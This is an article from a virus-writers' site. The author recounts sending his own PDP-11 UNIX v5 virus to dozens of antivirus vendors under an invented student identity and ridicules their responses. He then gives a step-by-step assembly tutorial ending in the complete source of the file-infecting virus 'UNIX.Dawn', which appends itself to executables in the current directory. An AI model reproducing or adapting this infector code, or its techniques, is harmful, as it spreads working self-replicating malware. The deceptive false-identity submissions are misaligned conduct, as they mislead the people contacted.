The Dawn: Tribute to
UNIX 5th edition PDP-11

... and how I contacted the AV-vendors and what I learnt

-- The worldly wisdom


 Copyright © 2006,2007 herm1t <


...there self-confident author was going to recollect sob-stuff on his own experience with prehistoric computers, bitch about virus and antivirus scenes, draw analogies, make a dark prospects and so on and so forth (because there is nobody to shut him up), but finally decided to cross that crap out...

It was all began in the late eighties when I first came to the console of the computer. It was a russian clone of PDP-11 machine. That's how I fell in love for the first time. Many time has passed since that moment, but I still think that those machines were great, so I decided to contribute something to it in my own particular idiom.

Rocking the boat

Dear First Name Last Name, ...
-- Symantec Security Response Automation

I was curious on the reaction to this virus from the AV side, so, herm1t magically turned into the indian student whose name is Digamber Mayur (this means "a nacked peacock", if I can rely on the names dictionary where I picked up these names). Digamber was working hard at his WTF university as an assistant preparing the UNIX disk images for the course on computer architectures and accidentially noticed that the image was infected. Surprised, he wrote the following mail to all AV companies he knew:

From:	Digamber Mayur <>
To:	Ahnlab <>,
	ArcaBit <>,
	Avast <>,
	AVG <>,
	AVIRA <>,
	BitDefender <>,
	Command Software <>,
	Computer Associates <>,
	Computer Associates <>,
	DialogueScience <>,
	"Dr. Web" <>,
	EmsiSoft <>,
	eSafe <>,
	ESET <>,
	Ewido <>,
	Fortinet <>,
	F-Prot <>,
	F-Secure <>,
	Hauri <>,
	H+BEDV <>,
	Ikarus <>,
	Kaspersky <>,
	McAfee <>,
	Microsoft <>,
	Network Associates <>,
	Norman <>,
	Panda <>,
	QuickHeal <>,
	Sophos <>,
	Symantec <>,
	Tauscan <>,
	TrendMicro <>,
	UNA <>,
	VBA32 <>,
	VirusBuster <>
Date: Oct 6, 2006 5:06 PM
Subject: Need help on virus

   Dear kind sirs,

   I very need information from professionals on computer viruses.

   My  name  is Digamber Mayur, I am graduate student and also working as
   an  assistant  in  my  spare  time.  Not  so  long  ago  I received an
   assignment to prepare the disk images with the programming environment
   for  the  UNIX  v5  operating system for the practical work within the
   course  on  computer architectures. It was intended to run in the SIMH
   simulator of the DEC PDP-11 computer.

   I   successfully   downloaded   and   installed  the  simulator  (from
   http://simh.,  the  image  of the root filesystem
   (from       the       PUPS      archive
   pub/unix/UnixArchive/PDP-11/  Distributions/research/Dennis_v5/) and a
   number  of  tools  both  in  binary  and  source form from the various
   sources.  After some time I noticed the significant perfomance degrade
   of the simulated system and also some unexpected crashes.

   I spent a lot of time investigating the reasons of such anomalities in
   the behaviour of the system and it seems that by pure luck I found it.
   I  compiled  a  trivial  program  (its  only  goal is to to output the
   message  on the terminal) and by accident noticed that the size of the
   program  was increased after I stripped the symbol information. That's
   how  I first discovered that the image prepared by me is infected with
   some virus.

   When,  I  compared  a number of files in the "/bin" directory with the
   same  files in the original archive "v5root.gz" and saw the difference
   in  size,  to  be precise the difference is 192 bytes. It seems that a
   lot  of  executable  files  with  the  magic  0407 being infected. For
   unknown reasons the virus won't infect the 0410 files.

   I  was really sadden and surprised by all that. I don't know what type
   of virus it is, and where it came from (may be it already was there on
   those  restored  DEC  tapes,  covertly placed in the software), but it
   seems that I have to start my work from scratch, now.

   It  is  extremely  annoying that as a user I should protect myself not
   only  from  the  modern  threats, but also from the things that to the
   moment  are nearly forgotten. To my regret I have no enough experience
   to analyze this virus, and may be it is already kmown? The UNIX system
   I  work  with  was  one  of  the  first and is dated in the archive by
   1974-1975.  So, may be the virus that hit me also the one of the first
   of  its  kind?  May  you  tell me something about it? Is it a Brain or
   Jerusalem virus or something like that?

   There  are transcripts of the terminal sessions, dumps of the infected
   programs  (made  with  od tool), infected and original programs in the
   binary,  source  and disassembly form (prepared with pdp11dasm) in the

   Thank  you  very  much  for  your  time. I am looking forward for your

Literally, within several seconds he got auto-replies from Symantec (saying that since archive has more than ten files it will not be analized due to high pressure on support), McAfee (they checked the archive and since they didn't found any virus, they suggested to resend the files in the password protected archive. What a bright idea to deal with unknown viruses in such a way!), Authentium, Inc. (yes, finally, short and clean receipt stating that the message was accepted and will be analyzied), VirusBuster (receipt with ticket id and a link to the page saying "HIBA: nnek nincs megfelel jogosltsga az oldalhoz." it's a pity, but nor Digamber, neither his fellow herm1t doesn't understand the hungarian) and at last the receipt from Dr. Web with ticket id, explanation how to use it and, for some purpose, the quoted message. The rest thirty companies didn't even bothered to notify the sender that his message was received.

Forty Little Avers

Michael Kharlamov from Dr.Web gave up first. After two hours I received the reply: "We does not support DEC PDP-11 systems." Forty little avers view the code of mine. One saw a new an old platform then there were thirty nine.

L. Clark from AVERT replied with "I am forwarding your samples to a Senior Virus Research Engineer for further review." Wow! "Senior Virus Research Engineer" all capitals. Who ever would have thought it! No reply yet. Thirty nine dumb asses ask to call them later. One forwarded the mail forth and then there were thirty eight.

The reply from Symantec mottoed this chapter. Thirty eight of virus labs are mostly robot driven. One missed all including names and then there were thirty seven.

Three of mighty avers already rest in piece. Avira asked for some more time then there were thirty six.

CA eTrust Antivirus Research and Response Group after seven days of hard work came to the conclusion that: "All files you sent are clean." While you are protected by CA - ALL YOUR BASE ARE BELONG TO US! Thirty six "researches" dug a virus hive. One thought that the file was clean then there were thirty five.

David Rohlik from AVG Technical Support decided that "The files you have sent us are not virus. They are source codes and comments for some kind of program." Bravo, David! Thirty five crystal-gazers had never failed before. One guessed: "It's the source!" then there were thirty four.

Thirty lazy avers treat all mail as SPAM. Since last of them was Kaspersky then there were less than none.

AVers from 34 to 31 falls to the special case.

The last hope: ArcaBit, VirusBuster, FortiNet and ALWIL

In the beginning I was thinking that I provided too much information, I thought that even blind and mentally challenged person will see that the samples are infected. I was naive. After I received the disasterous replies, I was agreeably disappointed by answers from Kamil Konieczny (ArcaBit), Ferenc László (VirusBuster), Pavel Cimbal (ALWIL Software) and some person at FortiNet who at last provided descriptions and even tried to add the detection routines to their products.

But even them did a mistakes. Ferenc wrote:

[...] Original entry 4 bytes are preserved at the very end of the infected file. When the virus finished, it restores the original code in memory, and starts it.

Wrong. The virus restores the victim even before it opens the current directory. Kamil supposed the same:

[...] and at end of execution restore original instruction at offset 0020 and jump to 0020 (this is how old COM viruses works, of course there are some variations with that) Jump can be made by 'ret' instruction or in some other machine dependent way, or original program can be ignored and never executed.

Ah, those old good days of DOS, how deep they formatted the brains of both avers and vxers! Who tell them that it is neccessary for the virus to restore the victim at the end of execution? "ret" command. hemmer.

Pavel wrote that "it seems to be a kind of a link-virus". Hm, to me it seems that the ALWIL is a kinda of anti-virus program which might catch some virus. With a bit of luck.

By the way, there are nobody at FortiNet who can convert octal to binary:

May we request that the original infected binary files be sent instead of the octal dumps.

They also missed everything that could be missed (just look at their mails), but after all they added the detection of the virus. Sorry, the detection for the two infected files which were sent. By checksum, I guess. But even this excuses them a llitle in comparison with the rest.

Postflight analysis is over. Make your choice. Personally, I wish to thank Kamil and Ferenc. They even tried.

Others behave like a monkey crowd typing, and typing, and typing yet another definition for the next in series of Trojan.Huy.zzzz with groundless hope that some day all this garbage will become an anti-virus silver bullet. It's clearly shows their inability to face something new and unexpected. Poor monkeys...

It seems that on the long way from "amateurs" to "professionals" the AV-people (excluding some very few exceptions) have lost the very important ability. It is an ability to learn something new, to wonder at unexpected things, the interest to the work they are doing. They call themselves researches, but now their research field is the diagrams presented by sales dep.

How many virus analysts does it take to catch a virus screw in a light bulb?

Especially if all of them are working for Kaspersky Lab, a leading developer of secure content management solutions? You probably won't believe me, but three, not including a monkeys from reception, cock-eyed mail "robot" that "auto-responded" on a next day and stoned tracking system which assign new tasks to each mail in the thread. Their names are: Alexander Markov, Leonid Khovansky and Pavel Zelensky.

Ah, it slipped from my mind, that after three weeks, when those gentlemen were actually made an attempt to "change the light bulb" (probably, one was going to screw the fucking thing in and the others hold the ladder), they missed it. When they insisted that there is enough light, say, I failed to convince them that there is a virus in the archive. Something got screwed there. (clearly, it has nothing in common with a light bulbs).

Let me cite the whole thread:

Digamber Mayur to (Oct 16, 2006 6:28 PM) Support is dead?
Ten days ago (to be precise at October 6th and 13th) I sent a (possibly) new virus (from this e-mail address, with subject lines "Need help on virus" and "UNIX virus") to "". I did not received any replies. Is the address I had used for virus submission correct or support just not responding? to (17 Oct 2006 14:45:43 +0400) RE: Support is dead? [KLAB-1295527]


address is correct.

Your letter is probably lost.

Please send it one more time.


Alexander Markov

Virus Analyst, Kaspersky Lab.

Digamber Mayur to (Oct 17, 2006 1:35 PM) Re: Support is dead? [KLAB-1295527] 2 attachments: letter.txt (3K), (14K)
Here is the mail and the files.
Digamber Mayur to (Oct 22, 2006 11:19 AM) Fwd: Support is dead? [KLAB-1295527]
It seems that the only way to contact with "newvirus@" is to send the mail to this address. May you forward it to the people responsible for the new viruses?
HelpDesk Robot Kaspersky Lab Support to Digamber Mayur (Oct 23, 2006 2:03 PM) RE: Support is dead? [KLAB-1295527]

If you are looking for technical support, please fulfill the submission form at this URL:

Your request will be processed via HelpDesk system and immediately delivered to our support team.

For more information about Technical Support please click on the URL below:

Visit our online Knowledge Base (FAQ) to find a solution to your question:


Kaspersky Lab Team. (28 Oct 2006 05:27:02 +0400) RE: Support is dead? [KLAB-1295527] [KLAB-1295852]
no comments.


Leonid Khovansky

Virus Analyst, Kaspersky Lab.

Digamber Mayur to (Oct 29, 2006 9:06 AM) Re: Support is dead? [KLAB-1295527] [KLAB-1295852]
That's all you have to say after three weeks? No comments... to (29 Oct 2006 11:41:02 +0300) RE: Support is dead? [KLAB-1295527] [KLAB-1295852] [KLAB-1330022]


I'm sorry, but what kind of your question?

Archive, what you sent was clear.

Do you want any additional comments?

Sincerely yours,

Pavel Zelensky

Virus analyst

Digamber Mayur to (Oct 29, 2006 11:04 AM) Re: Support is dead? [KLAB-1295527] [KLAB-1295852] [KLAB-1330022]
No, if you think that there is no virus in the archive I have sent, I have no more questions and need no more comments. I already received descriptions of this _virus_ from Arcabit,Alwil and VirusBuster. It is already detected by VirusBuster and Fortinet. So, thank you for your time, I gain the invaluable experience while talking with your support team. The answers came really fast (what is three weeks, between you and me and the lamppost) and were comprehensive and helpful (brevity is the soul of wit and from the two words I received as a reply I made far-reaching conclusions). to (29 Oct 2006 12:32:07 +0300) RE: Support is dead? [KLAB-1295527] [KLAB-1295852] [KLAB-1330022] [KLAB-1330198]

This archive cantain a legal source codes.

No viruses within it.

Sincerely yours,

Pavel Zelensky

Virus analyst

Digamber Mayur to (Oct 29, 2006 12:03 PM) Re: Support is dead? [KLAB-1295527] [KLAB-1295852] [KLAB-1330022] [KLAB-1330198]

Oh, really? I downloaded the file that I sent to you (from Sent Mail) here is its contents:

a.out		- Infected "hello" program
a.out.das	- Disassembly of the above
a.out.od	- Octal dump
du		- Infected du program
du.das		- Disassembly of the above
du.od		- Octal dump
du.orig		- Original not infected du program
du.orig.das	- Disassembly of the above
du.s		- Source of the du
hello.s		- Source of the hello
session1.txt	- Session that shows
		how the program becomes infected
session2.txt	- Session that shows
		how I imported the octal dump into
		SIMH to prepare the files for submission.

You might thought that I cannot distinguish between source and executable? Let's see what the file command will say:

[digamber@test tmp]$ file a.out du
a.out: PDP-11 executable
du:    PDP-11 executable

and, at last, check it on

Complete scanning result of "du",
received in VirusTotal at 10.29.2006, 10:57:34 (CET).
Fortinet        10.29.2006      Unix/Malicious
VirusBuster     4.3.15:9        10.28.2006      Unix.Small.A
Aditional Information
File size: 846 bytes
MD5: c488c4e83959d16a82c57e6bf7aeab86
SHA1: cd4da88fa683dd33999efe9697ef31178d09f023

No reply yet.

There exist the unrenderable russian word to describe the situation, its meaning is similar to "fucking fiasco", but is more expressive. Pizdets!

Tricks of Dawn

Quick notes on PDP-11

But the Red Queen looked sulky, and growled 'Pudding -- Alice; Alice -- Pudding. Remove the pudding!' and the waiters took it away so quickly that Alice couldn't return its bow.

PDP-11/40 The PDP-11 was a series of 16-bit minicomputers sold by Digital Equipment Corp. in the 1970s and 1980s. The PDP-11 was a successor to DEC's PDP-8 computer in the PDP series of computers. It had several uniquely innovative features, and was easier to program than its predecessors. While well-liked by programmers, it was replaced in the mid-range minicomputer niche by the VAX-11 32-bit extension of the PDP-11. Much of the market for both machines would be taken by personal computers, including the IBM PC and Apple II, and workstations, such as those from Sun Microsystems.


There are five general registers (from R0 to R5), stack pointer (R6 or SP) and program counter (R7 or PC)

Addressing modes

Basic addressing modes
Register Rn op = Rn
Register Deferred (Rn) op = mem[Rn]
Autoincrement (Rn)+ op = mem[Rn] / inc Rn
Autoincrement Deferred @(Rn)+ addr = mem[Rn] / inc Rn / op = mem[addr]
Autodecrement -(Rn) dec Rn / op = mem[Rn]
Autodecrement Deferred @-(Rn) dec Rn / addr = mem[Rn] / op = mem[addr]
Index x(Rn) x = mem[PC] / inc PC / op = mem[x + Rn]
Index Deferred @x(Rn) x = mem[PC] / inc PC / addr = mem[x + Rn] / op = mem[addr]
PC Addressing modes
Immediate #n op = mem[PC] / inc PC
Absolute @#n addr = mem[PC] / inc PC / op = mem[addr]
Relative n x = mem[PC] / inc PC / op = mem[x + PC]
Relative Deferred @n x = mem[PC] / inc PC / addr = mem[x + PC] / op = mem[addr]

Autoincrement and autodecrement modes change the register contents by one for byte instructions and two for word instructions with the following exceptions:

  1. R6 and R7 are always changed by 2.
  2. In deferred modes, a register is always incremented by 2.

Instruction summary

The following is a brief instruction summary extracted from [3]. Refer to [3] for explanations of operation of these instructions or to [3,4] for opcodes.

CLR(B)  clear destination			 BHI     branch if higher (unsigned)
COM(B)  complement destination                   BLOS    branch if lower or same
INC(B)  increment destination                    BHIS    branch if higher or same
DEC(B)  decrement destination                    BLO     branch if lower
NEG(B)  negate destination                       JMP     jump
TST(B)  test destination                         JSR     jump to subroutine
ASR(B)  arithmetic shift right                   RTS     return from subroutine
ASL(B)  arithmetic shift left                    MARK    mark
ROR(B)  rotate right                             SPL     set priority level
ROL(B)  rotate left                              EMT     emulator trap
SWAB    swap bytes                               TRAP    trap
ADC(B)  add carry                                BPT     breakpoint trap
SBC(B)  subtract carry                           IOT     input/output trap
SXT     sign extend                              RTI     return from interrupt
MFPS    move byte from PS                        RTT     return from interrupt
MTPS    move byte to PS                          HALT    halt
MOV(B)  move source to destination               WAIT    wait for interrupt
CMP(B)  compare src to dst                       RESET   reset external bus
ADD     add src to dst                           CLC     clear C
SUB     subtract src from dst                    CLV     clear V
BIT(B)  bit test                                 CLZ     clear Z
BIC(B)  bit clear                                CLN     clear N
BIS(B)  bit set                                  CCC     clear all CC bits
BR      branch (unconditional)                   SEC     set C
BNE     branch if not equal (to zero)            SEV     set V
BEQ     branch if equal (to zero)                SEZ     set Z
BPL     branch if plus                           SEN     set N
BMI     branch if minus                          SCC     set all CC bits
BVC     branch if overflow is clear              NOP     no operation
BVS     branch if overflow is set                MUL     multiply
BCC     branch if carry is clear                 DIV     divide
BCS     branch if carry is set                   ASH     shift arithmetically
SOB     subtract one and branch (if !=0)         ASHC    arithmetic shift combined
(signed branches)				 XOR     exclusive or
BGE     branch is greater than or equal (to zero)FADD    floating add
BLT     branch if less than (zero)               FSUB    floating subtract
BGT     branch if greater than (zero) 		 FMUL    floating multiply
BLE     branch if less than or equal (to zero)   FDIV    floating divide

Calling the system

Let's start from some trivial example like "Hello, world!":

/ write(1, "Hello, world!\n", 14);
	mov	$1,r0
	sys	write; 1f; 2f-1f
/ exit(0);
	clr	r0
	sys	exit			
1:	<Hello, world!\n>

# cat ->1.s
/ write(1, "Hello, world!\n", 14);
        mov     $1,r0
	...and so on...
# as 1.s
# ./a.out
Hello, world!

As you can see there is a mixed calling convention used, one argument (a file handle) is passed via R0 register and the rest arguments stored right after the "sys write" pseudo-instruction. You can find all neccessary information in the section 2 of man, but you have to use the manual from 4th or 6th version, since the 5th edition of the manual was lost.

Position independent code

The previous example showed that many system calls requires absolute addresses as arguments and this is absolutely inappropriate for the virus. To use the arguments of the syscalls calculated at runtime we need self-modifying code. But this will cause problems with memory protection of the text segment. To solve this problem the regular programms use indir(2) syscall. Suppose that we are going to write the contents of the buffer pointer to which stored in the R4 register and the size of buffer in R5:

	mov	r4,1f
	mov	r5,1f+2
	sys	indir; 0f
0:	sys	write; 1:0; 0

What good for the regular application will not satisfy us. The above tricky syscall was used to keep the .text clean and this is the last thing we should bother, so we will determine our own address and will modify the syscalls directly:

/ we live in the .data segment
	mov	pc,r3
	tst	-(r3)
	/ r3 contains the address of the start
	mov	r3,r4
	add	$9f,r4
	mov	r4,1f
	mov	r4,2f
	sys	read; 1:0; 20.	
	sys	write;2:0; 20.
/ bss immediately follows the .data
/ we will keep our temporaries here

Note the decimal point after "20.". By default all numbers are octal.

Here is the program that:

/ dumps its own code to the file
	mov	pc, r4			/ addr of the next instr into R4
	tst	-(r4)			/ R4 -= 2 (our start in memory)
	mov	r4,r0
	add	$name,r0	
	mov	r0,1f			/ store addr of name at label 1
	add	$[mesg-name],r0
	mov	r0,3f			/ store addr of mesg at label 3
	mov	r4,2f			/ set buffer address for write
	sys	creat; 1:0; 444		/ r0 = creat(name, 0444);
	bes	error			/ if (r0 < 0) goto error;
	mov	r0,r1			/ save handle
	sys	write; 2:0; 9f		/ write(r0, start, size_of_dcf)
	bes	error
	mov	r1,r0			/ restore handle
	sys	close			/ close(r0);
	br	_exit			/ goto exit;
error:	mov	$1,r0
	sys	write; 3:0; 9f-mesg	/ write(1, mesg, sz_mesg);
_exit:	clr	r0
	sys	exit			/ exit(0);
name:	<dcf2\0>
mesg:	<Unable to create the file!\n>

# as dcf.s
# ./a.out
# od dcf2
0000000 010704 005744 010400 062700 000100 010067 000016 062700
0000020 000005 010067 000042 010467 000014 104410 000100 000444
0000040 103410 010001 104404 000000 000140 103403 010100 104406
0000060 000405 012700 000001 104404 000105 000033 005000 104401
0000100 061544 031146 052400 060556 066142 020145 067564 061440
0000120 062562 072141 020145 064164 020145 064546 062554 005041

Reading directory

We will read directory in the same way as in the contemporary UNIX systems. Since "all is file" we will open the current directory "." with open and read it:

# od -c .
0000000 \? \0  .  . \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000020 \? \0  . \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000040 \? \0  b  i  n \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000060  < \0  d  e  v \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000100  @ \0  e  t  c \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000120  M \0  l  i  b \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000140  Z \0  m  n  t \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000160  [ \0  t  m  p \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000200 \\ \0  u  s  r \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0
0000220  q \?  u  n  i  x \0 \0 \0 \0 \0 \0 \0 \0 \0 \0

Directory entry consist of inode at offset 0 and filename located at offset 2.

/ ls -1
        sys     open; dot; 0
        bes     error
	mov     r0,r1
0:	mov	r1,r0
	sys	read; buf; 16.
	bes	error
	tst	r0
	ble	1f
	mov	$buf,r2
	tst	(r2)+
3:	movb	(r2)+,r0
	beq	2f
	jsr	pc,putc
	br	3b
2:	mov	$10.,r0
	jsr	pc,putc
	br	0b
1:      mov     $0, r0
        sys     exit
putc:	movb	r0, dot
	mov	$1, r0
	sys	write; dot; 1
	rts	pc
error:	mov	$1, r0
	sys	write; 1f; 7
	br	1b
1:	<error!\n>
dot:	<.\0>
buf:	.=.+16.

It isn't neccessary to keep the "." string. open(0,0) will open current directory for reading. So we can rewrite the above example as follows:

	br	1b
1:	<error!\n>
dot:	.=.+2
buf:	.=.+16.
# ./apout ./a.out 
Binary: V5

The a.out format

Description of the a.out binaries located in the a.out(5), and after you had made a break for reading it and return to this paper, we will look now at the as(1) output from the previous chapter:

# strip a.out 
# od a.out
0000000 000407 000034 000000 000000 000000 000000 000000 000001
0000020 012700 000001 104404 000016 000016 005000 104401 062510
0000040 066154 026157 073440 071157 062154 005041

Obviously, the a.out file is executable with R/W .text segment (magic 0407 at offset 0, btw, note that all magic numbers are indeed PDP-11 BRanch instructions), no .data and .bss segments present, no symbol table and rellocation information (words at offset 6 and 14 respectively). The entry point field will not be used until version 7 and in version 5 is always equal to zero:

u.u_ar0[R7] = 0;	/* /usr/sys/ken/sys1.c:42 */

I think that the things presented above are relatively simple, so enough of details let's look into code.

The source code

/ UNIX.Dawn
	jmp	0f
	mov	pc,r3		/ setup and restore victim
	cmp	-(r3),-(sp)	/ r3=start & word for MARK
	mov	r3,r4
	add	$8f-4,r4
	mov	(r4)+,(r1)+
	mov	(r4)+,(r1)+
	mov	$167,r5	
	mov	r4,1f
	mov	r4,2f
	mov	r4,4f	
	mov	r3,5f
	mov	r4,6f
	sys	open; 1:0; 0	/ open cur dir
	bes	done
	mov	r0,-(sp)	/ push handle
	mov	(sp),r0		/ read dir
	sys	read; 2:0; 16.
	tst	r0
	ble	cdir
	mov	r4,r2		/ open victim
	tst	(r2)+
	mov	r2,3f
	sys	open; 3:0; 2
	bes	loop
	mov	r0,-(sp)
	sys	read; 4:0; 20.	/ read header
	bes	next

	cmp	$407,(r4)	/ is R/W .text executable?
	bne	next
	mov	(r2)+,r0	/ .text size
	add	(r2),r0		/ .data size
	sub	r1,r0
	add	$8f,(r2)+	/ adjust .data size
	add	$46.,(r2)+	/ adjust .bss size
	tst	(r2)+		/ size of symbol table==0?
	bne	next
	add	r1,r2		/ skip two empty fields...
	tst	(r2)+		/ relocation info stripped
	beq	next
	cmp	r5,(r2)		/ there is the jmp at start
	beq	next
	sub	r1,r4
	mov	(r2),(r4)+	/ save first 2 words
	mov	r5,(r2)+
	mov	(r2),(r4)+
	mov	r0,(r2)+
	mov	(sp),r0		/ write body
	sys	seek; 0; 2
// no bcs, C is set on EBADF/ESPIPE [fio.c:24, sys2.c:135]
	mov	(sp),r0
	sys	write; 5:0; 9f-4
	bes	next
	mov	(sp),r0		/ write header
	sys	seek; 0; 0
	mov	(sp),r0
	sys	write; 6:0; 20.
	mov	(sp)+,r0	/ close vic
	sys	close
	br	loop
	mov	(sp)+,r0	/ close dir
	sys	close
	mov	$006400,-(sp)	/	mark	0
	mov	$077502,-(sp)	/	sob	r5,0b
	mov	$005023,-(sp)	/0:	clr	(r3)+
	mov	sp,pc
	clr	r0		/ fake host
	sys	exit
9:	.=.+20.


  1. Dennis M. Ritchie "Assembler Reference Manual", November 2, 1997
  2. Dennis M. Ritchie and Ken Thompson "The UNIX TimeSharing System", Communications of the ACM, July 1974 Volume 17 Number 7
  3. PDP-11 Processor Handbook, DEC
  4. PDP-11 Programming Card
  5. SIMH (
  6. PDP Unix Preservation Society (
  7. J. Lions "Lions' Commentary on UNIX 6th Edition, with Source Code", 1976


Valid XHTML 1.0! VX Heavens GFX by GIMP! Xara Extreme